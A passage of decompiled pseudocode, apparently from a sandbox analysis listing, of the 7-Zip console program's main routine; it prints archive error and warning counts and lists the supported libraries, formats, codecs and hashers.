												 *(_t1406 - 4) = 0x13;
												E0124ADD3(_t1406 - 0x39c);
												__eflags =  *((intOrPtr*)(_t1406 - 0x2f0)) - _t1397;
												 *(_t1406 - 4) = 0x14;
												 *(_t1406 - 0x14) = _t1397;
												if( *((intOrPtr*)(_t1406 - 0x2f0)) != _t1397) {
													 *(_t1406 - 0x14) = _t1406 - 0x39c;
													_push(_t1406 - 0x2f4);
													_push(_t1406 - 0xf0);
													E012609F5(E0124A2E2(_t1406 - 0x39c));
												}
												_push(_t1406 - 0xb4);
												_push(_t1406 - 0x60);
												_push( *(_t1406 - 0x14));
												_t469 = _t1403 + 0x10; // 0x10
												_push(_t1403);
												asm("sbb edx, edx");
												_push( ~_t1403 & _t469);
												_push(_t1406 - 0x12c);
												_push( *((intOrPtr*)( *((intOrPtr*)(_t1406 - 0x330)))) + 0xc);
												_push(_t1406 - 0x54);
												_push(_t1406 - 0x48);
												_push(_t1406 - 0xd0); // executed
												_t701 = E01248D6E( *(_t1406 - 0x1c), _t1406 - 0xc4); // executed
												__eflags =  *((intOrPtr*)(_t1403 + 0xbc)) - _t1397;
												 *(_t1406 - 0x20) = _t701;
												if( *((intOrPtr*)(_t1403 + 0xbc)) != _t1397) {
													_t478 = _t1403 + 0x18; // 0x18
													E0126183F(_t478, _t1397, 1);
												}
												__eflags =  *((intOrPtr*)(_t1406 - 0x5c)) - _t1397;
												if( *((intOrPtr*)(_t1406 - 0x5c)) != _t1397) {
													_t783 =  *0x1274700; // 0x1274438
													__eflags = _t783 - _t1397;
													if(_t783 != _t1397) {
														 *(_t1406 - 0x24) = _t783;
														E01231CAE(_t783);
														fputs("ERROR:",  *( *(_t1406 - 0x24)));
														E01231CAE( *(_t1406 - 0x24));
														_push( *((intOrPtr*)(_t1406 - 0x60)));
														E01231CAE(E01231CC1( *(_t1406 - 0x24)));
													}
													__eflags =  *(_t1406 - 0x20) - _t1397;
													if( *(_t1406 - 0x20) == _t1397) {
														 *(_t1406 - 0x20) = 0x80004005;
													}
												}
												_t1397 =  *0x12746fc; // 0x1274440
												 *(_t1406 - 0xd) =  *(_t1406 - 0xd) & 0x00000000;
												__eflags = _t1397;
												if(_t1397 == 0) {
													L151:
													__eflags =  *(_t1403 + 0x130) |  *(_t1403 + 0x134);
													if(( *(_t1403 + 0x130) |  *(_t1403 + 0x134)) != 0) {
														__eflags = _t1397;
														 *(_t1406 - 0xd) = 1;
														if(_t1397 != 0) {
															fputs("Can\'t open as archive: ",  *_t1397);
															E01231CAE(E01231F47(_t1397,  *(_t1403 + 0x130),  *(_t1403 + 0x134)));
														}
													}
													__eflags =  *(_t1403 + 0x138) |  *(_t1403 + 0x13c);
													if(( *(_t1403 + 0x138) |  *(_t1403 + 0x13c)) == 0) {
														L157:
														__eflags = _t1397;
														if(_t1397 != 0) {
															_t506 = _t1403 + 0x140; // 0x140
															_t756 = _t506;
															__eflags =  *(_t1403 + 0x140) |  *(_t756 + 4);
															if(( *(_t1403 + 0x140) |  *(_t756 + 4)) != 0) {
																fputs("Archives with Warnings: ",  *_t1397);
																_t508 = _t1403 + 0x140; // 0x140
																E01231CAE(E01231F47(_t1397,  *_t508,  *((intOrPtr*)(_t508 + 4))));
															}
															__eflags =  *(_t1403 + 0x150) |  *(_t1403 + 0x154);
															if(( *(_t1403 + 0x150) |  *(_t1403 + 0x154)) != 0) {
																E01231CAE(_t1397);
																__eflags =  *(_t1403 + 0x150) |  *(_t1403 + 0x154);
																if(( *(_t1403 + 0x150) |  *(_t1403 + 0x154)) != 0) {
																	fputs("Warnings: ",  *_t1397);
																	E01231CAE(E01231F47(_t1397,  *(_t1403 + 0x150),  *(_t1403 + 0x154)));
																}
															}
														}
														goto L163;
													} else {
														__eflags = _t1397;
														 *(_t1406 - 0xd) = 1;
														if(_t1397 == 0) {
															L163:
															__eflags =  *(_t1403 + 0x148) |  *(_t1403 + 0x14c);
															if(( *(_t1403 + 0x148) |  *(_t1403 + 0x14c)) == 0) {
																L167:
																__eflags =  *(_t1406 - 0xd);
																if( *(_t1406 - 0xd) == 0) {
																	L169:
																	__eflags = _t1397;
																	if(_t1397 == 0) {
																		L185:
																		 *(_t1406 - 4) = 0x13;
																		E01231ABD(E0124AE4E(_t1406 - 0x39c),  *((intOrPtr*)(_t1406 - 0x60)));
																		 *(_t1406 - 4) = 0x15;
																		E01231ABD(E01261159(_t1406 - 0x104),  *((intOrPtr*)(_t1406 - 0x120)));
																		__eflags = _t1403;
																		 *(_t1406 - 4) = 0xd;
																		if(_t1403 != 0) {
																			 *((intOrPtr*)( *_t1403 + 8))(_t1403);
																		}
																		goto L197;
																	}
																	__eflags =  *(_t1403 + 0x138) |  *(_t1403 + 0x13c);
																	if(( *(_t1403 + 0x138) |  *(_t1403 + 0x13c)) != 0) {
																		L183:
																		E01231CAE(_t1397);
																		_t559 = _t1403 + 0x158; // 0x158
																		_t717 = _t559;
																		__eflags =  *(_t1403 + 0x158) |  *(_t717 + 4);
																		if(( *(_t1403 + 0x158) |  *(_t717 + 4)) != 0) {
																			fputs("Sub items Errors: ",  *_t1397);
																			_t561 = _t1403 + 0x158; // 0x158
																			E01231CAE(E01231F47(_t1397,  *_t561,  *((intOrPtr*)(_t561 + 4))));
																		}
																		goto L185;
																	}
																	_t528 = _t1403 + 0x158; // 0x158
																	_t722 = _t528;
																	__eflags =  *(_t1403 + 0x158) |  *(_t722 + 4);
																	if(( *(_t1403 + 0x158) |  *(_t722 + 4)) != 0) {
																		goto L183;
																	}
																	__eflags =  *(_t1406 - 0x20);
																	if( *(_t1406 - 0x20) != 0) {
																		goto L185;
																	}
																	_t723 =  *(_t1406 - 0x94);
																	__eflags = _t723 |  *(_t1406 - 0x90);
																	if((_t723 |  *(_t1406 - 0x90)) != 0) {
																		fputs("Folders: ",  *_t1397);
																		E01231CAE(E01231F47(_t1397,  *(_t1406 - 0x94),  *(_t1406 - 0x90)));
																		_t723 =  *(_t1406 - 0x94);
																	}
																	__eflags =  *(_t1406 - 0x8c) - 1;
																	if( *(_t1406 - 0x8c) != 1) {
																		L179:
																		fputs("Files: ",  *_t1397);
																		E01231CAE(E01231F47(_t1397,  *(_t1406 - 0x8c),  *(_t1406 - 0x88)));
																		__eflags =  *(_t1406 - 0x84) |  *(_t1406 - 0x80);
																		if(( *(_t1406 - 0x84) |  *(_t1406 - 0x80)) != 0) {
																			fputs("Alternate Streams: ",  *_t1397);
																			E01231CAE(E01231F47(_t1397,  *(_t1406 - 0x84),  *(_t1406 - 0x80)));
																			fputs("Alternate Streams Size: ",  *_t1397);
																			E01231CAE(E01231F47(_t1397,  *(_t1406 - 0xa4),  *(_t1406 - 0xa0)));
																		}
																		goto L181;
																	} else {
																		__eflags =  *(_t1406 - 0x88);
																		if( *(_t1406 - 0x88) != 0) {
																			goto L179;
																		}
																		__eflags = _t723 |  *(_t1406 - 0x90);
																		if((_t723 |  *(_t1406 - 0x90)) != 0) {
																			goto L179;
																		}
																		__eflags =  *(_t1406 - 0x84) |  *(_t1406 - 0x80);
																		if(( *(_t1406 - 0x84) |  *(_t1406 - 0x80)) == 0) {
																			L181:
																			fputs("Size:       ",  *_t1397);
																			 *(_t1406 - 0x28) = E01231F47(_t1397,  *(_t1406 - 0xac),  *(_t1406 - 0xa8));
																			E01231CAE(_t730);
																			fputs("Compressed: ",  *( *(_t1406 - 0x28)));
																			E01231CAE(E01231F47( *(_t1406 - 0x28),  *(_t1406 - 0x9c),  *(_t1406 - 0x98)));
																			__eflags =  *(_t1406 - 0x14);
																			if( *(_t1406 - 0x14) != 0) {
																				E01231CAE(_t1397);
																				E0125BF06(_t1397, _t1406 - 0x39c);
																			}
																			goto L185;
																		}
																		goto L179;
																	}
																}
																L168:
																 *(_t1406 - 0x3c) = 2;
																goto L169;
															}
															__eflags = _t1397;
															 *(_t1406 - 0xd) = 1;
															if(_t1397 == 0) {
																goto L168;
															}
															E01231CAE(_t1397);
															__eflags =  *(_t1403 + 0x148) |  *(_t1403 + 0x14c);
															if(( *(_t1403 + 0x148) |  *(_t1403 + 0x14c)) == 0) {
																goto L168;
															}
															fputs("Open Errors: ",  *_t1397);
															E01231CAE(E01231F47(_t1397,  *(_t1403 + 0x148),  *(_t1403 + 0x14c)));
															goto L167;
														}
														fputs("Archives with Errors: ",  *_t1397);
														E01231CAE(E01231F47(_t1397,  *(_t1403 + 0x138),  *(_t1403 + 0x13c)));
														goto L157;
													}
												} else {
													E01231CAE(_t1397);
													__eflags =  *(_t1403 + 0x11c);
													if( *(_t1403 + 0x11c) > 0) {
														L150:
														fputs("Archives: ",  *_t1397);
														_t491 = _t1403 + 0x118; // 0x118
														E01231CAE(E01231F47(_t1397,  *_t491,  *((intOrPtr*)(_t491 + 4))));
														fputs("OK archives: ",  *_t1397);
														E01231CAE(E01231F47(_t1397,  *((intOrPtr*)(_t1403 + 0x128)),  *((intOrPtr*)(_t1403 + 0x12c))));
														goto L151;
													}
													__eflags =  *((intOrPtr*)(_t1403 + 0x118)) - 1;
													if( *((intOrPtr*)(_t1403 + 0x118)) <= 1) {
														goto L151;
													}
													goto L150;
												}
											}
										}
										_push(_t1406 - 0x2cc);
										E0123150C(_t1406 - 0x48);
										_push(_t1406 - 0x2cc);
										E0123150C(_t1406 - 0x54);
										goto L130;
									}
									__eflags =  *((intOrPtr*)(_t1406 - 0x318)) - 6;
									if( *((intOrPtr*)(_t1406 - 0x318)) == 6) {
										goto L119;
									}
									_t810 = E0123B621(_t1406 - 0x318);
									__eflags = _t810;
									if(_t810 == 0) {
										__eflags =  *((intOrPtr*)(_t1406 - 0x318)) - 9;
										if(__eflags != 0) {
											_t1379 = 7;
											E012605EE(_t1379);
										} else {
											E0126054D(_t1406 - 0x580, __eflags);
											__eflags =  *(_t1406 - 0x18) - _t1400;
											 *(_t1406 - 4) = 0x1a;
											if( *(_t1406 - 0x18) != _t1400) {
												_t833 =  *(_t1406 - 0x14) - 1;
												__eflags = _t833;
												 *(_t1406 - 0x4cc) = _t833;
											}
											_t1397 =  *0x1274700; // 0x1274438
											_t1054 =  *0x12746fc; // 0x1274440
											E0124C900(_t1406 - 0x49c);
											 *(_t1406 - 0x4d4) =  *(_t1406 - 0x18);
											 *(_t1406 - 0x48c) = _t1400;
											 *(_t1406 - 0x4c8) = _t1054;
											 *(_t1406 - 0x4c4) = _t1397;
											 *((char*)(_t1406 - 0x44f)) =  *(_t1406 - 0x334);
											E0123232F(_t1406 - 0x60);
											_push(_t1406 - 0x580);
											_push(_t1406 - 0x60);
											_push(_t1406 - 0x16c);
											 *(_t1406 - 4) = 0x1b;
											 *(_t1406 - 0x20) = E0124A895(_t1406 - 0xf0, _t1406 - 0x330, __eflags);
											E0125FDE9(_t1406 - 0x98);
											 *(_t1406 - 4) = 0x1c;
											E0123240D(_t1406 - 0x94, _t1406 - 0x60);
											_t824 =  *0x12746fc; // 0x1274440
											_t1230 = _t824;
											__eflags = _t1230 - _t1400;
											if(_t1230 == _t1400) {
												_t1230 =  *0x1274700; // 0x1274438
											}
											_push( *(_t1406 - 0x334));
											_push(_t1230);
											_push(_t824);
											_push(_t1406 - 0x98);
											asm("sbb edx, edx");
											 *(_t1406 - 0x3c) = E01260733( *(_t1406 - 0x20),  ~(_t1406 - 0x580) & _t1406 - 0x00000578);
											 *(_t1406 - 4) = 0x1d;
											E01231ABD(E01231ABD(E01248B2E(_t1054, _t1406 - 0x88),  *(_t1406 - 0x94)),  *((intOrPtr*)(_t1406 - 0x60)));
											 *(_t1406 - 4) = 9;
											E012605BB(_t1054, _t1406 - 0x580);
										}
										goto L198;
									}
									__eflags =  *((char*)(_t1406 - 0x1e0));
									if(__eflags != 0) {
										__eflags =  *((intOrPtr*)(_t1406 - 0x1d8)) - _t1400;
										if(__eflags == 0) {
											E01232B8A(_t1406 - 0x1dc, "7zCon.sfx");
										}
									}
									E0125E02D(_t1406 - 0x41c, __eflags);
									_t835 =  *0x12746fc; // 0x1274440
									_t1399 =  *(_t1406 - 0x18);
									__eflags =  *((char*)(_t1406 - 0x308));
									 *(_t1406 - 0x364) = _t835;
									_t836 =  *0x1274700; // 0x1274438
									 *(_t1406 - 4) = 0x16;
									 *(_t1406 - 0x360) = _t836;
									 *(_t1406 - 0x370) = _t1399;
									if( *((char*)(_t1406 - 0x308)) == 0) {
										L100:
										_t265 = _t1406 - 0xd;
										 *_t265 =  *(_t1406 - 0xd) & 0x00000000;
										__eflags =  *_t265;
										goto L101;
									} else {
										__eflags =  *((intOrPtr*)(_t1406 - 0x300)) - _t1400;
										if( *((intOrPtr*)(_t1406 - 0x300)) == _t1400) {
											goto L100;
										}
										 *(_t1406 - 0xd) = 1;
										L101:
										 *((char*)(_t1406 - 0x34b)) =  *(_t1406 - 0xd);
										E01232A8C(_t1406 - 0x348, _t1406 - 0x304);
										E012603B6(_t1406 - 0x578, __eflags);
										__eflags = _t1399 - _t1400;
										 *((intOrPtr*)(_t1406 - 0x4b0)) =  *((intOrPtr*)(_t1406 - 0x134));
										 *(_t1406 - 4) = 0x17;
										 *((intOrPtr*)(_t1406 - 0x4b4)) =  *(_t1406 - 0x24);
										if(_t1399 != _t1400) {
											_t868 =  *(_t1406 - 0x14) - 1;
											__eflags = _t868;
											 *(_t1406 - 0x4c4) = _t868;
										}
										__eflags =  *((char*)(_t1406 - 0x308));
										 *((char*)(_t1406 - 0x460)) =  *(_t1406 - 0xd);
										if( *((char*)(_t1406 - 0x308)) == 0) {
											L106:
											_t284 = _t1406 - 0x450;
											 *_t284 =  *(_t1406 - 0x450) & 0x00000000;
											__eflags =  *_t284;
											goto L107;
										} else {
											__eflags =  *((intOrPtr*)(_t1406 - 0x300)) - _t1400;
											if( *((intOrPtr*)(_t1406 - 0x300)) != _t1400) {
												goto L106;
											}
											 *(_t1406 - 0x450) = 1;
											L107:
											E01232A8C(_t1406 - 0x45c, _t1406 - 0x304);
											_t1397 =  *0x1274700; // 0x1274438
											_t1405 =  *0x12746fc; // 0x1274440
											 *((char*)(_t1406 - 0x4b8)) =  *((intOrPtr*)(_t1406 - 0x1c0));
											E0124C900(_t1406 - 0x494);
											 *(_t1406 - 0x484) =  *(_t1406 - 0x484) & 0x00000000;
											 *(_t1406 - 0x4c0) = _t1405;
											 *(_t1406 - 0x4bc) = _t1397;
											 *(_t1406 - 0x4cc) =  *(_t1406 - 0x18);
											E0125FDE9(_t1406 - 0x70);
											 *(_t1406 - 4) = 0x18;
											_t856 = E01254C61(_t1054, _t1406 - 0xc4, _t1406 - 0x314, _t1406 - 0x330, _t1406 - 0x284, _t1406 - 0x70, _t1406 - 0x41c, _t1406 - 0x578, 1);
											__eflags =  *(_t1406 - 0x4cc);
											 *(_t1406 - 0x20) = _t856;
											if( *(_t1406 - 0x4cc) != 0) {
												E0126183F(_t1406 - 0x570, _t1397, 1);
											}
											_t857 =  *0x12746fc; // 0x1274440
											_t1243 = _t857;
											__eflags = _t1243;
											if(_t1243 == 0) {
												_t1243 =  *0x1274700; // 0x1274438
											}
											_push(1);
											_push(_t1243);
											_push(_t857);
											_push(_t1406 - 0x70);
											asm("sbb edx, edx");
											 *(_t1406 - 0x3c) = E01260733( *(_t1406 - 0x20),  ~(_t1406 - 0x578) & _t1406 - 0x00000570);
											 *(_t1406 - 4) = 0x19;
											E01231ABD(E01248B2E(_t1054, _t1406 - 0x60),  *(_t1406 - 0x6c));
											 *(_t1406 - 4) = 0x16;
											_t863 = E01260FAB(_t1054, _t1406 - 0x578);
											 *(_t1406 - 4) = 9;
											E01231ABD(_t863,  *(_t1406 - 0x348));
											E012617A6(_t1406 - 0x414, _t1397, __eflags);
											goto L198;
										}
									}
								}
								_t870 =  *0x12746fc; // 0x1274440
								__eflags = _t870 - _t1400;
								if(_t870 == _t1400) {
									_t870 = 0x1274440;
								}
								_t871 = E0125A29C(_t1406 - 0xf0, _t1406 - 0x2c0,  *((intOrPtr*)(_t1406 - 0x130)),  *_t870);
								__eflags = _t871 - 1;
								 *(_t1406 - 0x20) = _t871;
								if(_t871 == 1) {
									_t872 =  *0x1274700; // 0x1274438
									__eflags = _t872 - _t1400;
									if(_t872 != _t1400) {
										fputs("\nDecoding ERROR\n",  *_t872);
									}
									 *(_t1406 - 0x3c) = 2;
									 *(_t1406 - 0x20) = _t1400;
								}
								goto L198;
							} else {
								_t874 =  *0x12746fc; // 0x1274440
								_t1433 = _t874 - _t1400;
								_t1400 = _t874;
								if(_t1433 == 0) {
									_t1400 = 0x1274440;
								}
								E01231CAE(_t1400);
								fputs("Libs:",  *_t1400);
								E01231CAE(_t1400);
								 *(_t1406 - 0x18) =  *(_t1406 - 0x18) & 0x00000000;
								_t1397 = fputc;
								if( *((intOrPtr*)(_t1054 + 0x10)) <= 0) {
									L32:
									E01231CAE(_t1400);
									fputs("Formats:",  *_t1400);
									E01231CAE(_t1400);
									_t882 = strlen("KSNFMGOPBELH");
									 *(_t1406 - 0x18) =  *(_t1406 - 0x18) & 0x00000000;
									 *(_t1406 - 0xb8) = _t882;
									if( *((intOrPtr*)(_t1054 + 0x2c)) <= 0) {
										L64:
										E01231CAE(_t1400);
										fputs("Codecs:",  *_t1400);
										E01231CAE(_t1400);
										 *(_t1406 - 0x18) =  *(_t1406 - 0x18) & 0x00000000;
										if( *0x1274598 <= 0) {
											L70:
											_t886 =  *(_t1406 - 0x1c);
											_t1389 = _t1406 - 0x24;
											_push(_t1406 - 0x24);
											_push(_t886);
											if( *((intOrPtr*)( *_t886 + 0xc))() != 0) {
												L78:
												E01231CAE(_t1400);
												fputs("Hashers:",  *_t1400);
												E01231CAE(_t1400);
												 *(_t1406 - 0x18) =  *(_t1406 - 0x18) & 0x00000000;
												if( *0x127459c <= 0) {
													L81:
													_t892 =  *(_t1406 - 0x1c) + 4;
													_t893 =  *((intOrPtr*)( *_t892 + 0xc))(_t892);
													_t1054 = 0;
													 *(_t1406 - 0x24) = _t893;
													_t1471 = _t893;
													if(_t893 <= 0) {
														L198:
														if( *((char*)(_t1406 - 0x2f7)) != 0 &&  *0x12746fc != 0) {
															E01260A10();
														}
														E01231ABD(E012609F5( *(_t1406 - 0x20)),  *(_t1406 - 0xd0));
														 *(_t1406 - 4) = 6;
														E01249E21(_t1406 - 0xc4);
														_t1098 =  *(_t1406 - 0x1c);
														 *(_t1406 - 4) = 5;
														_t1475 =  *(_t1406 - 0x1c);
														if( *(_t1406 - 0x1c) != 0) {
															E0124BD18(_t1098);
														}
														 *(_t1406 - 4) = 3;
														E0125FCF6(_t1054, _t1406 - 0xf0);
														 *(_t1406 - 4) = 2;
														E012311BB(_t1054, _t1406 - 0x448, _t1397);
														 *(_t1406 - 4) =  *(_t1406 - 4) & 0x00000000;
														E01260E30(_t1054, _t1406 - 0x33c, _t1475);
														 *(_t1406 - 4) =  *(_t1406 - 4) | 0xffffffff;
														E01248B2E(_t1054, _t1406 - 0x7c);
														_t659 =  *(_t1406 - 0x3c);
														 *[fs:0x0] =  *((intOrPtr*)(_t1406 - 0xc));
														return _t659;
													} else {
														goto L82;
													}
													do {
														L82:
														E012606D8(_t1400, E0124C549( *(_t1406 - 0x1c), _t1054));
														E01260671(_t1400, E0124C7B7( *(_t1406 - 0x1c)), _t1054);
														 *_t1397(0x20,  *_t1400, 4);
														E01260E08(_t1400, E0124C6C9( *(_t1406 - 0x1c)), _t896);
														_t902 = E0124C72E( *(_t1406 - 0x1c), _t1397, _t1400, _t1471);
														 *(_t1406 - 0x34) =  *_t902;
														 *_t1397(0x20,  *_t1400, _t1406 - 0x60, _t1054, _t1054);
														fputs( *(_t1406 - 0x34),  *_t1400);
														_t1408 = _t1408 + 0x10;
														E01231ABD(E01231CAE(_t1400),  *((intOrPtr*)(_t1406 - 0x60)));
														_t1054 = _t1054 + 1;
													} while (_t1054 <  *(_t1406 - 0x24));
													goto L198;
												}
												 *(_t1406 - 0x14) = 0x1274458;
												do {
													_t1056 =  *( *(_t1406 - 0x14));
													E012606D8(_t1400, _t1389 | 0xffffffff);
													_t1389 =  *(_t1056 + 0x14);
													E01260671(_t1400,  *(_t1056 + 0x14), 4);
													 *_t1397(0x20,  *_t1400);
													E01260E08(_t1400,  *((intOrPtr*)(_t1056 + 8)),  *((intOrPtr*)(_t1056 + 0xc)));
													 *_t1397(0x20,  *_t1400);
													fputs( *(_t1056 + 0x10),  *_t1400);
													_t1408 = _t1408 + 0x10;
													E01231CAE(_t1400);
													 *(_t1406 - 0x18) =  *(_t1406 - 0x18) + 1;
													 *(_t1406 - 0x14) =  *(_t1406 - 0x14) + 4;
													_t1470 =  *(_t1406 - 0x18) -  *0x127459c; // 0x0
												} while (_t1470 < 0);
												goto L81;
											}
											_t1058 = 0;
											if( *(_t1406 - 0x24) <= 0) {
												goto L78;
											} else {
												goto L72;
											}
											do {
												L72:
												_t1389 = E0124C539( *(_t1406 - 0x1c), _t1058);
												E012606D8(_t1400, _t917);
												_push(_t1058);
												if(E0124C578( *(_t1406 - 0x1c)) != 1) {
													E01231F1E(_t1400, _t919);
												} else {
													 *_t1397(0x20,  *_t1400);
												}
												_t921 = E0124C567( *(_t1406 - 0x1c), _t1058);
												asm("sbb al, al");
												 *_t1397(( ~_t921 & 0x00000025) + 0x00000020 & 0x000000ff,  *_t1400);
												_t927 = E0124C556( *(_t1406 - 0x1c), _t1058);
												asm("sbb al, al");
												 *_t1397(( ~_t927 & 0x00000024) + 0x00000020 & 0x000000ff,  *_t1400);
												 *_t1397(0x20,  *_t1400);
												_t1410 = _t1408 + 0x10;
												_push(_t1406 - 0x2c);
												_push(_t1058);
												if(E0124C5DB( *(_t1406 - 0x1c)) != 0) {
													 *(_t1406 - 0x2c) =  *(_t1406 - 0x2c) | 0xffffffff;
													_t208 = _t1406 - 0x28;
													 *_t208 =  *(_t1406 - 0x28) | 0xffffffff;
													_t1467 =  *_t208;
												}
												E01260E08(_t1400,  *(_t1406 - 0x2c),  *(_t1406 - 0x28));
												_t938 = E0124C644( *(_t1406 - 0x1c), _t1397, _t1400, _t1467);
												 *(_t1406 - 0x34) =  *_t938;
												 *_t1397(0x20,  *_t1400, _t1406 - 0x60, _t1058);
												fputs( *(_t1406 - 0x34),  *_t1400);
												_t1408 = _t1410 + 0x10;
												E01231ABD(E01231CAE(_t1400),  *((intOrPtr*)(_t1406 - 0x60)));
												_t1058 = _t1058 + 1;
											} while (_t1058 <  *(_t1406 - 0x24));
											goto L78;
										}
										 *(_t1406 - 0x14) = 0x1274498;
										do {
											_t1369 = _t1369 | 0xffffffff;
											_t1059 =  *( *(_t1406 - 0x14));
											E012606D8(_t1400, _t1369);
											_t947 =  *((intOrPtr*)(_t1059 + 0x14));
											if( *((intOrPtr*)(_t1059 + 0x14)) != 1) {
												_t948 = E01231F1E(_t1400, _t947);
											} else {
												_t948 =  *_t1397(0x20,  *_t1400);
											}
											_t954 =  *_t1397(((_t948 & 0xffffff00 |  *((intOrPtr*)(_t1059 + 4)) == 0x00000000) - 0x00000001 & 0x00000025) + 0x00000020 & 0x000000ff,  *_t1400);
											 *_t1397(((_t954 & 0xffffff00 |  *_t1059 == 0x00000000) - 0x00000001 & 0x00000024) + 0x00000020 & 0x000000ff,  *_t1400);
											 *_t1397(0x20,  *_t1400);
											E01260E08(_t1400,  *((intOrPtr*)(_t1059 + 8)),  *((intOrPtr*)(_t1059 + 0xc)));
											 *_t1397(0x20,  *_t1400);
											fputs( *(_t1059 + 0x10),  *_t1400);
											_t1408 = _t1408 + 0x28;
											E01231CAE(_t1400);
											 *(_t1406 - 0x18) =  *(_t1406 - 0x18) + 1;
											 *(_t1406 - 0x14) =  *(_t1406 - 0x14) + 4;
											_t1462 =  *(_t1406 - 0x18) -  *0x1274598; // 0x0
										} while (_t1462 < 0);
										goto L70;
									}
									L33:
									_t1054 =  *( *((intOrPtr*)( *(_t1406 - 0x1c) + 0x28)) +  *(_t1406 - 0x18) * 4);
									fputc(((E012606D8(_t1400,  *((intOrPtr*)(_t1054 + 0x3c))) & 0xffffff00 |  *((char*)(_t1054 + 0x28)) == 0x00000000) - 0x00000001 & 0x00000023) + 0x00000020 & 0x000000ff,  *_t1400);
									 *(_t1406 - 0x14) =  *(_t1406 - 0x14) & 0x00000000;
									if( *(_t1406 - 0xb8) <= 0) {
										L39:
										 *_t1397(0x20,  *_t1400);
										_t117 = _t1054 + 0xc; // 0xc
										E01260705(_t1400, _t117, 8);
										 *_t1397(0x20,  *_t1400);
										E012328E9(_t1406 - 0x48);
										 *(_t1406 - 0x30) =  *(_t1406 - 0x30) & 0x00000000;
										 *(_t1406 - 4) = 0xb;
										if( *((intOrPtr*)(_t1054 + 0x1c)) <= 0) {
											L45:
											_t1369 = _t1406 - 0x48;
											E01260705(_t1400, _t1369, 0xd);
											 *_t1397(0x20,  *_t1400);
											if( *((intOrPtr*)(_t1054 + 0x2c)) != 0) {
												fputs("offset=",  *_t1400);
												 *_t1397(0x20,  *((intOrPtr*)(E01231F1E(_t1400,  *((intOrPtr*)(_t1054 + 0x2c))))));
											}
											 *(_t1406 - 0x14) =  *(_t1406 - 0x14) & 0x00000000;
											if( *((intOrPtr*)(_t1054 + 0x34)) <= 0) {
												L63:
												_t982 = E01231CAE(_t1400);
												 *(_t1406 - 4) = 9;
												E01231ABD(_t982,  *(_t1406 - 0x48));
												 *(_t1406 - 0x18) =  *(_t1406 - 0x18) + 1;
												if( *(_t1406 - 0x18) <  *((intOrPtr*)( *(_t1406 - 0x1c) + 0x2c))) {
													goto L33;
												}
												goto L64;
											} else {
												do {
													if( *(_t1406 - 0x14) != 0) {
														fputs("  ||  ",  *_t1400);
													}
													 *(_t1406 - 0x30) =  *(_t1406 - 0x30) & 0x00000000;
													_t986 =  *( *((intOrPtr*)(_t1054 + 0x30)) +  *(_t1406 - 0x14) * 4);
													 *(_t1406 - 0x28) = _t986;
													if( *((intOrPtr*)(_t986 + 4)) > 0) {
														do {
															if( *(_t1406 - 0x30) != 0) {
																 *_t1397(0x20,  *_t1400);
																_t986 =  *(_t1406 - 0x28);
															}
															_t990 =  *((intOrPtr*)( *_t986 +  *(_t1406 - 0x30)));
															if(_t990 <= 0x20 || _t990 >= 0x80) {
																_t991 = _t990 & 0x000000ff;
																 *(_t1406 - 0x34) = _t991;
																_t992 = _t991 >> 4;
																if(_t992 >= 0xa) {
																	_t993 = _t992 + 0x37;
																	__eflags = _t993;
																} else {
																	_t993 = _t992 + 0x30;
																}
																 *_t1397(_t993 & 0x000000ff,  *_t1400);
																_t997 =  *(_t1406 - 0x34) & 0x0000000f;
																if(_t997 >= 0xa) {
																	_t990 = _t997 + 0x37;
																	__eflags = _t990;
																} else {
																	_t990 = _t997 + 0x30;
																}
															}
															 *_t1397(_t990 & 0x000000ff,  *_t1400);
															 *(_t1406 - 0x30) =  *(_t1406 - 0x30) + 1;
															_t986 =  *(_t1406 - 0x28);
														} while ( *(_t1406 - 0x30) <  *((intOrPtr*)(_t986 + 4)));
													}
													 *(_t1406 - 0x14) =  *(_t1406 - 0x14) + 1;
												} while ( *(_t1406 - 0x14) <  *((intOrPtr*)(_t1054 + 0x34)));
												goto L63;
											}
										} else {
											goto L40;
										}
										do {
											L40:
											_t1442 =  *(_t1406 - 0x30);
											if( *(_t1406 - 0x30) != 0) {
												E01232BF6();
											}
											 *(_t1406 - 0x14) =  *( *(_t1054 + 0x18) +  *(_t1406 - 0x30) * 4);
											E01232C71(_t1406 - 0x48, _t1442,  *( *(_t1054 + 0x18) +  *(_t1406 - 0x30) * 4));
											if( *((intOrPtr*)( *(_t1406 - 0x14) + 0x10)) != 0) {
												E01232CAD(_t1406 - 0x48, " (");
												E01232C71(_t1406 - 0x48,  *(_t1406 - 0x14) + 0xc,  *(_t1406 - 0x14) + 0xc);
												E01231089(_t1406 - 0x48, 0x29);
											}
											 *(_t1406 - 0x30) =  *(_t1406 - 0x30) + 1;
										} while ( *(_t1406 - 0x30) <  *((intOrPtr*)(_t1054 + 0x1c)));
										goto L45;
									}
									L34:
									_t1350 =  *(_t1406 - 0x14);
									_t1015 = 1;
									if(( *_t1054 & _t1015 << _t1350) == 0) {
										L37:
										_t1017 = 0x20;
										goto L38;
									} else {
										_t110 =  &(("KSNFMGOPBELH")[_t1350]); // 0x464e534b
										_t1017 =  *_t110;
										L38:
										 *_t1397(_t1017 & 0x000000ff,  *_t1400);
										 *(_t1406 - 0x14) =  *(_t1406 - 0x14) + 1;
										if( *(_t1406 - 0x14) <  *(_t1406 - 0xb8)) {
											goto L34;
										}
										goto L39;
									}
								} else {
									goto L31;
								}
								do {
									L31:
									_t1369 =  *(_t1406 - 0x18);
									E012606D8(_t1400, _t1369);
									 *(_t1406 - 0x28) =  *( *((intOrPtr*)( *((intOrPtr*)(_t1054 + 0xc)) +  *(_t1406 - 0x18) * 4)) + 4);
									fputc(0x20,  *_t1400);
									_push( *(_t1406 - 0x28));
									E01231CAE(E01231CC1(_t1400));
									 *(_t1406 - 0x18) =  *(_t1406 - 0x18) + 1;
								} while ( *(_t1406 - 0x18) <  *((intOrPtr*)(_t1054 + 0x10)));
								goto L32;
							}
						}
						goto L26;
					}
				} else {
					goto L20;
				}
				while(1) {
					L20:
					 *(_t1406 - 0x54) = _t1400;
					 *(_t1406 - 0x50) = _t1400;
					 *(_t1406 - 0x4c) = _t1400;
					_push(_t1406 - 0x54);
					 *(_t1406 - 4) = 0xa;
					_push( *((intOrPtr*)( *((intOrPtr*)(_t1406 - 0x14c)) + _t1397 * 4)));
					if(E0124C2F0(_t1054) == 0 ||  *(_t1406 - 0x50) != 1) {
						_t1032 =  *0x126b794; // 0x126b798
						_push(0x126da90);
						 *(_t1406 - 0x28) = _t1032;
						_push(_t1406 - 0x28);
						L01263CAC();
						goto L37;
					}
